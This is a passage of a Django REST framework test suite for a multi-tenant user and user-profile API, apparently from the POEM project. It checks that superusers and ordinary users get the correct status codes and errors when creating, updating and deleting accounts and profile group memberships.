schema_context(get_public_schema_name()): data = { 'pk': self.user1.pk, 'username': 'testuser2', 'first_name': 'Testing', 'last_name': 'Newuser', 'email': 'testuser@test.com', 'is_superuser': True, 'is_active': True } content, content_type = encode_data(data) request = self.factory.put( self.url, content, content_type=content_type ) force_authenticate(request, user=self.user1) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) self.assertEqual( response.data['detail'], 'You do not have permission to change users.' ) user = CustUser.objects.get(id=self.user1.id) self.assertEqual(user.username, 'Alan_Ford') self.assertEqual(user.first_name, 'Alan') self.assertEqual(user.last_name, 'Ford') self.assertEqual(user.email, 'alan.ford@tnt.com') self.assertFalse(user.is_superuser) self.assertTrue(user.is_active) def test_put_user_tenant_superuser(self): data = { 'pk': self.tenant_user1.pk, 'username': 'testuser2', 'first_name': 'Testing', 'last_name': 'Newuser', 'email': 'testuser@test.com', 'is_superuser': True, 'is_active': True } content, content_type = encode_data(data) request = self.factory.put(self.url, content, content_type=content_type) force_authenticate(request, user=self.tenant_user2) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_201_CREATED) user = CustUser.objects.get(id=self.tenant_user1.pk) self.assertEqual(user.username, 'testuser2') self.assertEqual(user.first_name, 'Testing') self.assertEqual(user.last_name, 'Newuser') self.assertEqual(user.email, 'testuser@test.com') self.assertTrue(user.is_superuser) self.assertTrue(user.is_active) def test_put_user_tenant_user(self): data = { 'pk': self.tenant_user1.pk, 'username': 'testuser2', 'first_name': 'Testing', 'last_name': 'Newuser', 'email': 'testuser@test.com', 'is_superuser': True, 'is_active': True } content, content_type = encode_data(data) request = self.factory.put(self.url, content, content_type=content_type) force_authenticate(request, user=self.tenant_user1) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) self.assertEqual( response.data['detail'], 'You do not have permission to change users.' ) user = CustUser.objects.get(id=self.tenant_user1.pk) self.assertEqual(user.username, 'testuser') self.assertEqual(user.first_name, 'Test') self.assertEqual(user.last_name, 'User') self.assertEqual(user.email, 'testuser@example.com') self.assertFalse(user.is_superuser) self.assertTrue(user.is_active) def test_put_user_with_already_existing_name_sp_superuser(self): with schema_context(get_public_schema_name()): data = { 'pk': self.user1.pk, 'username': 'Number1', 'first_name': 'Test', 'last_name': 'Newuser', 'email': 'testuser@example.com', 'is_superuser': False, 'is_active': True } content, content_type = encode_data(data) request = self.factory.put( self.url, content, content_type=content_type ) force_authenticate(request, user=self.user2) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) self.assertEqual( response.data['detail'], 'User with this username already exists.' ) def test_put_user_with_already_existing_name_sp_user(self): with schema_context(get_public_schema_name()): data = { 'pk': self.user1.pk, 'username': 'Number1', 'first_name': 'Test', 'last_name': 'Newuser', 'email': 'testuser@example.com', 'is_superuser': False, 'is_active': True } content, content_type = encode_data(data) request = self.factory.put( self.url, content, content_type=content_type ) force_authenticate(request, user=self.user1) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) self.assertEqual( response.data['detail'], 'You do not have permission to change users.' ) def test_put_user_with_already_existing_name_tenant_superuser(self): data = { 'pk': self.tenant_user1.pk, 'username': 'another_user', 'first_name': 'Test', 'last_name': 'Newuser', 'email': 'testuser@example.com', 'is_superuser': False, 'is_active': True } content, content_type = encode_data(data) request = self.factory.put(self.url, content, content_type=content_type) force_authenticate(request, user=self.tenant_user2) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) self.assertEqual( response.data['detail'], 'User with this username already exists.' ) def test_put_user_with_already_existing_name_tenant_user(self): data = { 'pk': self.tenant_user1.pk, 'username': 'another_user', 'first_name': 'Test', 'last_name': 'Newuser', 'email': 'testuser@example.com', 'is_superuser': False, 'is_active': True } content, content_type = encode_data(data) request = self.factory.put(self.url, content, content_type=content_type) force_authenticate(request, user=self.tenant_user1) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) self.assertEqual( response.data['detail'], 'You do not have permission to change users.' ) def test_put_nonexisting_user_sp_superuser(self): with schema_context(get_public_schema_name()): data = { 'pk': 999, 'username': 'testuser2', 'first_name': 'Test', 'last_name': 'Newuser', 'email': 'testuser@example.com', 'is_superuser': False, 'is_active': True } content, content_type = encode_data(data) request = self.factory.put( self.url, content, content_type=content_type ) force_authenticate(request, user=self.user2) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.assertEqual(response.data['detail'], 'User does not exist.') def test_put_nonexisting_user_sp_user(self): with schema_context(get_public_schema_name()): data = { 'pk': 999, 'username': 'testuser2', 'first_name': 'Test', 'last_name': 'Newuser', 'email': 'testuser@example.com', 'is_superuser': False, 'is_active': True } content, content_type = encode_data(data) request = self.factory.put( self.url, content, content_type=content_type ) force_authenticate(request, user=self.user1) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) self.assertEqual( response.data['detail'], 'You do not have permission to change users.' ) def test_put_nonexisting_user_tenant_superuser(self): data = { 'pk': 999, 'username': 'testuser2', 'first_name': 'Test', 'last_name': 'Newuser', 'email': 'testuser@example.com', 'is_superuser': False, 'is_active': True } content, content_type = encode_data(data) request = self.factory.put(self.url, content, content_type=content_type) force_authenticate(request, user=self.tenant_user2) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.assertEqual(response.data['detail'], 'User does not exist.') def test_put_nonexisting_user_tenant_user(self): data = { 'pk': 999, 'username': 'testuser2', 'first_name': 'Test', 'last_name': 'Newuser', 'email': 'testuser@example.com', 'is_superuser': False, 'is_active': True } content, content_type = encode_data(data) request = self.factory.put(self.url, content, content_type=content_type) force_authenticate(request, user=self.tenant_user1) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) self.assertEqual( response.data['detail'], 'You do not have permission to change users.' ) def test_put_user_missing_data_key_sp_superuser(self): with schema_context(get_public_schema_name()): data = { 'pk': self.user1.pk, 'username': 'testuser2', 'last_name': 'Newuser', 'email': 'testuser@example.com', 'is_superuser': False, 'is_active': True } content, content_type = encode_data(data) request = self.factory.put( self.url, content, content_type=content_type ) force_authenticate(request, user=self.user2) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) self.assertEqual( response.data['detail'], 'Missing data key: first_name' ) user = CustUser.objects.get(id=self.user1.id) self.assertEqual(user.username, 'Alan_Ford') self.assertEqual(user.first_name, 'Alan') self.assertEqual(user.last_name, 'Ford') self.assertEqual(user.email, 'alan.ford@tnt.com') self.assertFalse(user.is_superuser) self.assertTrue(user.is_active) def test_put_user_missing_data_key_sp_user(self): with schema_context(get_public_schema_name()): data = { 'pk': self.user1.pk, 'username': 'testuser2', 'last_name': 'Newuser', 'email': 'testuser@example.com', 'is_superuser': False, 'is_active': True } content, content_type = encode_data(data) request = self.factory.put( self.url, content, content_type=content_type ) force_authenticate(request, user=self.user1) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) self.assertEqual( response.data['detail'], 'You do not have permission to change users.' ) user = CustUser.objects.get(id=self.user1.id) self.assertEqual(user.username, 'Alan_Ford') self.assertEqual(user.first_name, 'Alan') self.assertEqual(user.last_name, 'Ford') self.assertEqual(user.email, 'alan.ford@tnt.com') self.assertFalse(user.is_superuser) self.assertTrue(user.is_active) def test_put_user_missing_data_key_tenant_superuser(self): data = { 'pk': self.tenant_user1.pk, 'username': 'testuser2', 'last_name': 'Newuser', 'email': 'testuser@example.com', 'is_superuser': False, 'is_active': True } content, content_type = encode_data(data) request = self.factory.put(self.url, content, content_type=content_type) force_authenticate(request, user=self.tenant_user2) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) self.assertEqual( response.data['detail'], 'Missing data key: first_name' ) user = CustUser.objects.get(id=self.tenant_user1.id) self.assertEqual(user.username, 'testuser') self.assertEqual(user.first_name, 'Test') self.assertEqual(user.last_name, 'User') self.assertEqual(user.email, 'testuser@example.com') self.assertFalse(user.is_superuser) self.assertTrue(user.is_active) def test_put_user_missing_data_key_tenant_user(self): data = { 'pk': self.tenant_user1.pk, 'username': 'testuser2', 'last_name': 'Newuser', 'email': 'testuser@example.com', 'is_superuser': False, 'is_active': True } content, content_type = encode_data(data) request = self.factory.put(self.url, content, content_type=content_type) force_authenticate(request, user=self.tenant_user1) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) self.assertEqual( response.data['detail'], 'You do not have permission to change users.' ) user = CustUser.objects.get(id=self.tenant_user1.id) self.assertEqual(user.username, 'testuser') self.assertEqual(user.first_name, 'Test') self.assertEqual(user.last_name, 'User') self.assertEqual(user.email, 'testuser@example.com') self.assertFalse(user.is_superuser) self.assertTrue(user.is_active) def test_post_user_sp_superuser(self): with schema_context(get_public_schema_name()): self.assertEqual(CustUser.objects.all().count(), 2) data = { 'username': 'newuser', 'first_name': 'New', 'last_name': 'User', 'email': 'newuser@example.com', 'is_superuser': True, 'is_active': True, 'password': 'blablabla', } request = self.factory.post(self.url, data, format='json') force_authenticate(request, user=self.user2) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_201_CREATED) self.assertEqual(CustUser.objects.all().count(), 3) user = CustUser.objects.get(username='newuser') self.assertEqual(user.username, 'newuser') self.assertEqual(user.first_name, 'New') self.assertEqual(user.last_name, 'User') self.assertEqual(user.email, 'newuser@example.com') self.assertTrue(user.is_superuser) self.assertTrue(user.is_active) def test_post_user_sp_user(self): with schema_context(get_public_schema_name()): self.assertEqual(CustUser.objects.all().count(), 2) data = { 'username': 'newuser', 'first_name': 'New', 'last_name': 'User', 'email': 'newuser@example.com', 'is_superuser': True, 'is_active': True, 'password': 'blablabla', } request = self.factory.post(self.url, data, format='json') force_authenticate(request, user=self.user1) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) self.assertEqual( response.data['detail'], 'You do not have permission to add users.' ) self.assertEqual(CustUser.objects.all().count(), 2) self.assertRaises( CustUser.DoesNotExist, CustUser.objects.get, username='newuser' ) def test_post_user_tenant_superuser(self): self.assertEqual(CustUser.objects.all().count(), 2) data = { 'username': 'newuser', 'first_name': 'New', 'last_name': 'User', 'email': 'newuser@example.com', 'is_superuser': True, 'is_active': True, 'password': 'blablabla', } request = self.factory.post(self.url, data, format='json') force_authenticate(request, user=self.tenant_user2) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_201_CREATED) self.assertEqual(CustUser.objects.all().count(), 3) user = CustUser.objects.get(username='newuser') self.assertEqual(user.username, 'newuser') self.assertEqual(user.first_name, 'New') self.assertEqual(user.last_name, 'User') self.assertEqual(user.email, 'newuser@example.com') self.assertTrue(user.is_superuser) self.assertTrue(user.is_active) def test_post_user_tenant_user(self): self.assertEqual(CustUser.objects.all().count(), 2) data = { 'username': 'newuser', 'first_name': 'New', 'last_name': 'User', 'email': 'newuser@example.com', 'is_superuser': True, 'is_active': True, 'password': 'blablabla', } request = self.factory.post(self.url, data, format='json') force_authenticate(request, user=self.tenant_user1) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) self.assertEqual( response.data['detail'], 'You do not have permission to add users.' ) self.assertEqual(CustUser.objects.all().count(), 2) self.assertRaises( CustUser.DoesNotExist, CustUser.objects.get, username='newuser' ) def test_post_user_with_already_existing_username_sp_superuser(self): with schema_context(get_public_schema_name()): data = { 'username': 'Number1', 'first_name': 'New', 'last_name': 'User', 'email': 'newuser@example.com', 'is_superuser': True, 'is_active': True, 'password': 'blablabla', } request = self.factory.post(self.url, data, format='json') force_authenticate(request, user=self.user2) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) self.assertEqual( response.data['detail'], 'User with this username already exists.' ) def test_post_user_with_already_existing_username_sp_user(self): with schema_context(get_public_schema_name()): data = { 'username': 'Number1', 'first_name': 'New', 'last_name': 'User', 'email': 'newuser@example.com', 'is_superuser': True, 'is_active': True, 'password': 'blablabla', } request = self.factory.post(self.url, data, format='json') force_authenticate(request, user=self.user1) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) self.assertEqual(CustUser.objects.all().count(), 2) self.assertEqual( response.data['detail'], 'You do not have permission to add users.' ) def test_post_user_with_already_existing_username_tenant_superuser(self): data = { 'username': 'testuser', 'first_name': 'New', 'last_name': 'User', 'email': 'newuser@example.com', 'is_superuser': True, 'is_active': True, 'password': 'blablabla', } request = self.factory.post(self.url, data, format='json') force_authenticate(request, user=self.tenant_user2) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) self.assertEqual( response.data['detail'], 'User with this username already exists.' ) def test_post_user_with_already_existing_username_tenant_user(self): data = { 'username': 'testuser', 'first_name': 'New', 'last_name': 'User', 'email': 'newuser@example.com', 'is_superuser': True, 'is_active': True, 'password': 'blablabla', } request = self.factory.post(self.url, data, format='json') force_authenticate(request, user=self.tenant_user1) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) self.assertEqual( response.data['detail'], 'You do not have permission to add users.' ) self.assertEqual(CustUser.objects.all().count(), 2) def test_post_user_with_missing_data_key_sp_superuser(self): with schema_context(get_public_schema_name()): data = { 'username': 'newuser', 'first_name': 'New', 'last_name': 'User', 'is_superuser': True, 'is_active': True, 'password': 'blablabla', } request = self.factory.post(self.url, data, format='json') force_authenticate(request, user=self.user2) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) self.assertEqual(response.data['detail'], 'Missing data key: email') self.assertEqual(CustUser.objects.all().count(), 2) def test_post_user_with_missing_data_key_sp_user(self): with schema_context(get_public_schema_name()): data = { 'username': 'newuser', 'first_name': 'New', 'last_name': 'User', 'is_superuser': True, 'is_active': True, 'password': 'blablabla', } request = self.factory.post(self.url, data, format='json') force_authenticate(request, user=self.user1) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) self.assertEqual( response.data['detail'], 'You do not have permission to add users.' ) self.assertEqual(CustUser.objects.all().count(), 2) def test_post_user_with_missing_data_key_tenant_superuser(self): data = { 'username': 'newuser', 'first_name': 'New', 'last_name': 'User', 'is_superuser': True, 'is_active': True, 'password': 'blablabla', } request = self.factory.post(self.url, data, format='json') force_authenticate(request, user=self.tenant_user2) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) self.assertEqual(response.data['detail'], 'Missing data key: email') self.assertEqual(CustUser.objects.all().count(), 2) def test_post_user_with_missing_data_key_tenant_user(self): data = { 'username': 'newuser', 'first_name': 'New', 'last_name': 'User', 'is_superuser': True, 'is_active': True, 'password': 'blablabla', } request = self.factory.post(self.url, data, format='json') force_authenticate(request, user=self.tenant_user1) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) self.assertEqual( response.data['detail'], 'You do not have permission to add users.' ) self.assertEqual(CustUser.objects.all().count(), 2) def test_delete_user_sp_superuser(self): with schema_context(get_public_schema_name()): request = self.factory.delete(self.url + 'Alan_Ford') force_authenticate(request, user=self.user2) response = self.view(request, 'Alan_Ford') self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT) self.assertEqual(CustUser.objects.all().count(), 1) self.assertRaises( CustUser.DoesNotExist, CustUser.objects.get, username='Alan_Ford' ) def test_delete_yourself_sp_superuser(self): with schema_context(get_public_schema_name()): request = self.factory.delete(self.url + 'Number1') force_authenticate(request, user=self.user2) response = self.view(request, 'Number1') self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) self.assertEqual( response.data['detail'], 'You cannot delete yourself.' ) self.assertEqual(CustUser.objects.all().count(), 2) def test_delete_user_sp_user(self): with schema_context(get_public_schema_name()): request = self.factory.delete(self.url + 'Alan_Ford') force_authenticate(request, user=self.user1) response = self.view(request, 'Alan_Ford') self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) self.assertEqual( response.data['detail'], 'You do not have permission to delete users.' ) self.assertEqual(CustUser.objects.all().count(), 2) def test_delete_user_tenant_superuser(self): request = self.factory.delete(self.url + 'testuser') force_authenticate(request, user=self.tenant_user2) response = self.view(request, 'testuser') self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT) self.assertEqual(CustUser.objects.all().count(), 1) self.assertRaises( CustUser.DoesNotExist, CustUser.objects.get, username='testuser' ) def test_delete_yourself_tenant_superuser(self): request = self.factory.delete(self.url + 'another_user') force_authenticate(request, user=self.tenant_user2) response = self.view(request, 'another_user') self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) self.assertEqual(response.data['detail'], 'You cannot delete yourself.') self.assertEqual(CustUser.objects.all().count(), 2) def test_delete_user_tenant_user(self): request = self.factory.delete(self.url + 'testuser') force_authenticate(request, user=self.tenant_user1) response = self.view(request, 'testuser') self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) self.assertEqual( response.data['detail'], 'You do not have permission to delete users.' ) self.assertEqual(CustUser.objects.all().count(), 2) def test_delete_nonexisting_user_sp_superuser(self): with schema_context(get_public_schema_name()): request = self.factory.delete(self.url + 'nonexisting') force_authenticate(request, user=self.user2) response = self.view(request, 'nonexisting') self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.assertEqual(response.data['detail'], 'User does not exist.') self.assertEqual(CustUser.objects.all().count(), 2) def test_delete_nonexisting_user_sp_user(self): with schema_context(get_public_schema_name()): request = self.factory.delete(self.url + 'nonexisting') force_authenticate(request, user=self.user1) response = self.view(request, 'nonexisting') self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) self.assertEqual( response.data['detail'], 'You do not have permission to delete users.' ) self.assertEqual(CustUser.objects.all().count(), 2) def test_delete_nonexisting_user_tenant_superuser(self): request = self.factory.delete(self.url + 'nonexisting') force_authenticate(request, user=self.tenant_user2) response = self.view(request, 'nonexisting') self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.assertEqual(response.data['detail'], 'User does not exist.') self.assertEqual(CustUser.objects.all().count(), 2) def test_delete_nonexisting_user_tenant_user(self): request = self.factory.delete(self.url + 'nonexisting') force_authenticate(request, user=self.tenant_user1) response = self.view(request, 'nonexisting') self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) self.assertEqual( response.data['detail'], 'You do not have permission to delete users.' ) self.assertEqual(CustUser.objects.all().count(), 2) def test_delete_user_without_specifying_username_sp_superuser(self): with schema_context(get_public_schema_name()): request = self.factory.delete(self.url) force_authenticate(request, user=self.user2) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) self.assertEqual( response.data['detail'], 'Username should be specified.' ) self.assertEqual(CustUser.objects.all().count(), 2) def test_delete_user_without_specifying_username_sp_user(self): with schema_context(get_public_schema_name()): request = self.factory.delete(self.url) force_authenticate(request, user=self.user1) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) self.assertEqual( response.data['detail'], 'You do not have permission to delete users.' ) self.assertEqual(CustUser.objects.all().count(), 2) def test_delete_user_without_specifying_username_tenant_superuser(self): request = self.factory.delete(self.url) force_authenticate(request, user=self.tenant_user2) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) self.assertEqual( response.data['detail'], 'Username should be specified.' ) self.assertEqual(CustUser.objects.all().count(), 2) def test_delete_user_without_specifying_username_tenant_user(self): request = self.factory.delete(self.url) force_authenticate(request, user=self.tenant_user1) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) self.assertEqual( response.data['detail'], 'You do not have permission to delete users.' ) self.assertEqual(CustUser.objects.all().count(), 2) class GetUserProfileForUsernameAPIViewTests(TenantTestCase): def setUp(self): self.factory = TenantRequestFactory(self.tenant) self.view = views.GetUserprofileForUsername.as_view() self.url = '/api/v2/internal/userprofile/' self.user = CustUser.objects.create(username='testuser') self.superuser = CustUser.objects.create( username='poem', is_superuser=True ) user1 = CustUser.objects.create_user( username='username1', first_name='First', last_name='User', email='fuser@example.com', is_active=True, is_superuser=False ) CustUser.objects.create_user( username='username2', first_name='Second', last_name='user', email='user@example.com', is_active=True, is_superuser=False ) self.gm = poem_models.GroupOfMetrics.objects.create( name='GROUP-metrics' ) poem_models.GroupOfMetrics.objects.create(name='GROUP2-metrics') self.ga = poem_models.GroupOfAggregations.objects.create( name='GROUP-aggregations' ) poem_models.GroupOfAggregations.objects.create( name='GROUP2-aggregations' ) self.gmp = poem_models.GroupOfMetricProfiles.objects.create( name='GROUP-metricprofiles' ) self.gtp = poem_models.GroupOfThresholdsProfiles.objects.create( name='GROUP-thresholds' ) poem_models.GroupOfThresholdsProfiles.objects.create( name='GROUP2-thresholds' ) self.userprofile = poem_models.UserProfile.objects.create( user=user1, subject='bla', displayname='First_User', egiid='blablabla' ) self.userprofile.groupsofmetrics.add(self.gm) self.userprofile.groupsofaggregations.add(self.ga) self.userprofile.groupsofmetricprofiles.add(self.gmp) self.userprofile.groupsofthresholdsprofiles.add(self.gtp) def test_get_user_profile_for_given_username_superuser(self): request = self.factory.get(self.url + 'username1') force_authenticate(request, user=self.superuser) response = self.view(request, 'username1') self.assertEqual( response.data, OrderedDict([ ('subject', 'bla'), ('egiid', 'blablabla'), ('displayname', 'First_User') ]) ) def test_get_user_profile_for_given_username_user(self): request = self.factory.get(self.url + 'username1') force_authenticate(request, user=self.user) response = self.view(request, 'username1') self.assertEqual( response.data, OrderedDict([ ('subject', 'bla'), ('egiid', 'blablabla'), ('displayname', 'First_User') ]) ) def test_get_user_profile_if_username_does_not_exist_superuser(self): request = self.factory.get(self.url + 'nonexisting') force_authenticate(request, user=self.superuser) response = self.view(request, 'nonexisting') self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.assertEqual(response.data['detail'], 'User does not exist.') def test_get_user_profile_if_username_does_not_exist_user(self): request = self.factory.get(self.url + 'nonexisting') force_authenticate(request, user=self.user) response = self.view(request, 'nonexisting') self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.assertEqual(response.data['detail'], 'User does not exist.') def test_get_user_profile_if_user_profile_does_not_exist_superuser(self): request = self.factory.get(self.url + 'testuser') force_authenticate(request, user=self.superuser) response = self.view(request, 'testuser') self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.assertEqual( response.data['detail'], 'User profile does not exist.' ) def test_get_user_profile_if_user_profile_does_not_exist_user(self): request = self.factory.get(self.url + 'testuser') force_authenticate(request, user=self.user) response = self.view(request, 'testuser') self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.assertEqual( response.data['detail'], 'User profile does not exist.' ) def test_put_userprofile_superuser(self): self.assertEqual(self.userprofile.groupsofmetrics.count(), 1) self.assertEqual(self.userprofile.groupsofmetricprofiles.count(), 1) self.assertEqual(self.userprofile.groupsofaggregations.count(), 1) self.assertEqual(self.userprofile.groupsofthresholdsprofiles.count(), 1) data = { 'username': 'username1', 'displayname': 'Username_1', 'egiid': 'newegiid', 'subject': 'newsubject', 'groupsofaggregations': ['GROUP2-aggregations'], 'groupsofmetrics': ['GROUP-metrics', 'GROUP2-metrics'], 'groupsofmetricprofiles': ['GROUP-metricprofiles'], 'groupsofthresholdsprofiles': ['GROUP2-thresholds'] } content, content_type = encode_data(data) request = self.factory.put(self.url, content, content_type=content_type) force_authenticate(request, user=self.superuser) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_201_CREATED) userprofile = poem_models.UserProfile.objects.get( id=self.userprofile.id ) self.assertEqual(userprofile.displayname, 'Username_1') self.assertEqual(userprofile.egiid, 'newegiid') self.assertEqual(userprofile.subject, 'newsubject') self.assertEqual(userprofile.groupsofaggregations.count(), 1) self.assertTrue( userprofile.groupsofaggregations.filter( name='GROUP2-aggregations' ).exists() ) self.assertEqual(userprofile.groupsofmetrics.count(), 2) self.assertTrue( userprofile.groupsofmetrics.filter( name='GROUP-metrics' ).exists() ) self.assertTrue( userprofile.groupsofmetrics.filter( name='GROUP2-metrics' ).exists() ) self.assertEqual(userprofile.groupsofmetricprofiles.count(), 1) self.assertTrue( userprofile.groupsofmetricprofiles.filter( name='GROUP-metricprofiles' ).exists() ) self.assertEqual(userprofile.groupsofthresholdsprofiles.count(), 1) self.assertTrue( userprofile.groupsofthresholdsprofiles.filter( name='GROUP2-thresholds' ).exists() ) def test_put_userprofile_user(self): self.assertEqual(self.userprofile.groupsofmetrics.count(), 1) self.assertEqual(self.userprofile.groupsofmetricprofiles.count(), 1) self.assertEqual(self.userprofile.groupsofaggregations.count(), 1) self.assertEqual(self.userprofile.groupsofthresholdsprofiles.count(), 1) data = { 'username': 'username1', 'displayname': 'Username_1', 'egiid': 'newegiid', 'subject': 'newsubject', 'groupsofaggregations': ['GROUP2-aggregations'], 'groupsofmetrics': ['GROUP-metrics', 'GROUP2-metrics'], 'groupsofmetricprofiles': ['GROUP-metricprofiles'], 'groupsofthresholdsprofiles': ['GROUP2-thresholds'] } content, content_type = encode_data(data) request = self.factory.put(self.url, content, content_type=content_type) force_authenticate(request, user=self.user) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) self.assertEqual( response.data['detail'], 'You do not have permission to change user profiles.' ) userprofile = poem_models.UserProfile.objects.get( id=self.userprofile.id ) self.assertEqual(userprofile.displayname, 'First_User') self.assertEqual(userprofile.egiid, 'blablabla') self.assertEqual(userprofile.subject, 'bla') self.assertEqual(userprofile.groupsofaggregations.count(), 1) self.assertTrue( userprofile.groupsofaggregations.filter( name='GROUP-aggregations' ).exists() ) self.assertEqual(userprofile.groupsofmetrics.count(), 1) self.assertTrue( userprofile.groupsofmetrics.filter( name='GROUP-metrics' ).exists() ) self.assertEqual(userprofile.groupsofmetricprofiles.count(), 1) self.assertTrue( userprofile.groupsofmetricprofiles.filter( name='GROUP-metricprofiles' ).exists() ) self.assertEqual(userprofile.groupsofthresholdsprofiles.count(), 1) self.assertTrue( userprofile.groupsofthresholdsprofiles.filter( name='GROUP-thresholds' ).exists() ) def test_put_userprofile_nonexisting_user_superuser(self): data = { 'username': 'nonexisting', 'displayname': 'Username_1', 'egiid': 'newegiid', 'subject': 'newsubject', 'groupsofaggregations': ['GROUP2-aggregations'], 'groupsofmetrics': ['GROUP-metrics', 'GROUP2-metrics'], 'groupsofmetricprofiles': ['GROUP-metricprofiles'], 'groupsofthresholdsprofiles': ['GROUP2-thresholds'] } content, content_type = encode_data(data) request = self.factory.put(self.url, content, content_type=content_type) force_authenticate(request, user=self.superuser) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.assertEqual(response.data['detail'], 'User does not exist.') def test_put_userprofile_nonexisting_user_user(self): data = { 'username': 'nonexisting', 'displayname': 'Username_1', 'egiid': 'newegiid', 'subject': 'newsubject', 'groupsofaggregations': ['GROUP2-aggregations'], 'groupsofmetrics': ['GROUP-metrics', 'GROUP2-metrics'], 'groupsofmetricprofiles': ['GROUP-metricprofiles'], 'groupsofthresholdsprofiles': ['GROUP2-thresholds'] } content, content_type = encode_data(data) request = self.factory.put(self.url, content, content_type=content_type) force_authenticate(request, user=self.user) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) self.assertEqual( response.data['detail'], 'You do not have permission to change user profiles.' ) def test_put_userprofile_nonexisting_userprofile_superuser(self): data = { 'username': 'username2', 'displayname': 'Username_2', 'egiid': 'newegiid', 'subject': 'newsubject', 'groupsofaggregations': ['GROUP2-aggregations'], 'groupsofmetrics': ['GROUP-metrics', 'GROUP2-metrics'], 'groupsofmetricprofiles': ['GROUP-metricprofiles'], 'groupsofthresholdsprofiles': ['GROUP2-thresholds'] } content, content_type = encode_data(data) request = self.factory.put(self.url, content, content_type=content_type) force_authenticate(request, user=self.superuser) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.assertEqual( response.data['detail'], 'User profile does not exist.' ) def test_put_userprofile_nonexisting_userprofile_user(self): data = { 'username': 'username2', 'displayname': 'Username_2', 'egiid': 'newegiid', 'subject': 'newsubject', 'groupsofaggregations': ['GROUP2-aggregations'], 'groupsofmetrics': ['GROUP-metrics', 'GROUP2-metrics'], 'groupsofmetricprofiles': ['GROUP-metricprofiles'], 'groupsofthresholdsprofiles': ['GROUP2-thresholds'] } content, content_type = encode_data(data) request = self.factory.put(self.url, content, content_type=content_type) force_authenticate(request, user=self.user) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED) self.assertEqual( response.data['detail'], 'You do not have permission to change user profiles.' ) def test_put_userprofile_nonexisting_group_of_aggr_superuser(self): data = { 'username': 'username1', 'displayname': 'Username_1', 'egiid': 'newegiid', 'subject': 'newsubject', 'groupsofaggregations': ['GROUP3-aggregations'], 'groupsofmetrics': ['GROUP-metrics', 'GROUP2-metrics'], 'groupsofmetricprofiles': ['GROUP-metricprofiles'], 'groupsofthresholdsprofiles': ['GROUP2-thresholds'] } content, content_type = encode_data(data) request = self.factory.put(self.url, content, content_type=content_type) force_authenticate(request, user=self.superuser) response = self.view(request) self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.assertEqual( response.data['detail'], 'Group of aggregations does not exist.' ) userprofile = poem_models.UserProfile.objects.get( id=self.userprofile.id ) self.assertEqual(userprofile.displayname, 'First_User') self.assertEqual(userprofile.egiid, 'blablabla') self.assertEqual(userprofile.subject, 'bla') self.assertEqual(userprofile.groupsofaggregations.count(), 1) self.assertTrue( userprofile.groupsofaggregations.filter( name='GROUP-aggregations' ).exists() ) self.assertEqual(userprofile.groupsofmetrics.count(), 1) self.assertTrue( userprofile.groupsofmetrics.filter( name='GROUP-metrics' ).exists() ) self.assertEqual(userprofile.groupsofmetricprofiles.count(), 1) self.assertTrue( 